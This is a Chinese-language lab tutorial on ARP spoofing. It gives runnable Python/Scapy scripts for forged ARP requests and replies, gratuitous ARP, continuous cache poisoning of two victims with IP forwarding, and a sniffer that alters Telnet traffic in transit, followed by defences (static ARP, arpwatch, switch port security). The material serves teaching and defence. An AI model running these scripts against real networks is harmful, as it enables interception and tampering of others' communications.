当你在咖啡厅连接公共Wi-Fi时,是否想过隔壁桌的陌生人可能正在窥探你的网络流量?这种攻击的核心技术之一就是ARP欺骗。不同于枯燥的理论讲解,本文将带你用Python和Scapy从零搭建实验环境,通过五个递进式攻击场景,深入理解局域网安全的核心漏洞。
在开始发送第一个恶意数据包前,我们需要准备一个隔离的测试环境。推荐使用VirtualBox创建三台虚拟机:攻击者(M)、受害者A和B。关键配置如下:
| 主机角色 | IP地址 | 网络适配器模式 |
|---|---|---|
| 攻击者M | 10.9.0.105 | 内部网络 |
| 受害者A | 10.9.0.5 | 内部网络 |
| 受害者B | 10.9.0.6 | 内部网络 |
安装必要的Python包:
bash复制pip install scapy==2.4.5
sudo apt install net-tools # 用于arp命令
ARP协议精要:
查看ARP缓存的实用命令:
bash复制arp -n # 显示数字格式的ARP表
arp -d 10.9.0.6 # 删除特定IP的缓存
实验安全提示:所有操作应在封闭实验环境进行,切勿在真实网络测试
构造虚假ARP请求是最直接的攻击方式。以下Scapy脚本会让受害者A误认为攻击者M是B:
python复制from scapy.all import Ether, ARP, sendp
def arp_request_spoof():
eth = Ether(dst="ff:ff:ff:ff:ff:ff") # 广播地址
arp = ARP(op=1, # 1表示请求
psrc="10.9.0.6", # 伪造的源IP(B)
pdst="10.9.0.5") # 目标IP(A)
sendp(eth/arp, iface="eth0", loop=1, inter=0.5)
关键参数解析:
op=1:ARP请求类型psrc:伪装成B的IPloop和inter:实现持续攻击相比请求包,响应包在某些场景下更具欺骗性:
python复制def arp_reply_spoof():
eth = Ether(dst="02:42:0a:09:00:05") # 直接发给A的MAC
arp = ARP(op=2, # 2表示响应
hwsrc="攻击者MAC", # 关键欺骗点
psrc="10.9.0.6",
pdst="10.9.0.5")
sendp(eth/arp, verbose=0)
实战发现:当目标ARP缓存为空时,单纯响应包往往无效。这是因为现代系统会忽略未经请求的ARP响应。
免费ARP本是用于IP冲突检测的合法机制,却成为最有效的攻击载体:
python复制def gratuitous_arp():
eth = Ether(dst="ff:ff:ff:ff:ff:ff")
arp = ARP(op=1,
psrc="10.9.0.6", # 关键点:源目IP相同
pdst="10.9.0.6",
hwdst="ff:ff:ff:ff:ff:ff")
sendp(eth/arp)
这种攻击成功率高的原因在于:
维持稳定的中间人位置需要持续毒化双方缓存:
python复制from time import sleep
def persistent_spoof():
while True:
# 欺骗A认为M是B
sendp(Ether()/ARP(op=2, psrc="10.9.0.6", pdst="10.9.0.5"))
# 欺骗B认为M是A
sendp(Ether()/ARP(op=2, psrc="10.9.0.5", pdst="10.9.0.6"))
sleep(10) # 保持每10秒刷新
开启IP转发保证通信不被中断:
bash复制echo 1 > /proc/sys/net/ipv4/ip_forward
使用Scapy构建简易嗅探器:
python复制def mitm_sniffer():
def process_pkt(pkt):
if pkt.haslayer(TCP) and pkt[TCP].payload:
orig_data = pkt[TCP].payload.load
# 示例:将所有字母转为大写
modified = orig_data.upper() if isinstance(orig_data, bytes) else orig_data
new_pkt = pkt.copy()
del new_pkt[IP].chksum, new_pkt[TCP].chksum
new_pkt[TCP].payload.load = modified
send(new_pkt, verbose=0)
sniff(filter="tcp port 23", prn=process_pkt) # Telnet默认23端口
最直接的防护方案是在关键主机设置静态ARP条目:
bash复制arp -s 10.9.0.6 02:42:0a:09:00:06 # 管理员权限
优劣分析:
Arpwatch是经典的ARP监控方案:
bash复制sudo apt install arpwatch
sudo systemctl start arpwatch
当检测到ARP变更时,日志会记录:
code复制Jul 15 10:23:45 host arpwatch: flip flop 10.9.0.6 02:42:0a:09:00:06 (old) -> 00:11:22:33:44:55 (new)
企业级交换机可配置端口MAC绑定:
cisco复制switchport port-security
switchport port-security maximum 1
switchport port-security mac-address sticky
虽然本文聚焦ARPv4的攻击,但IPv6的NDP协议同样存在类似漏洞。真正解决方案应考虑:
在企业网络中,结合以下措施形成纵深防御:
在虚拟机实验中,通过Wireshark抓包分析ARP流量模式时,发现一个有趣现象:Windows系统相比Linux对免费ARP的处理更为保守,这解释了为何某些攻击在不同OS上效果差异明显。这也提醒安全人员,防御策略必须考虑实际环境中的系统多样性。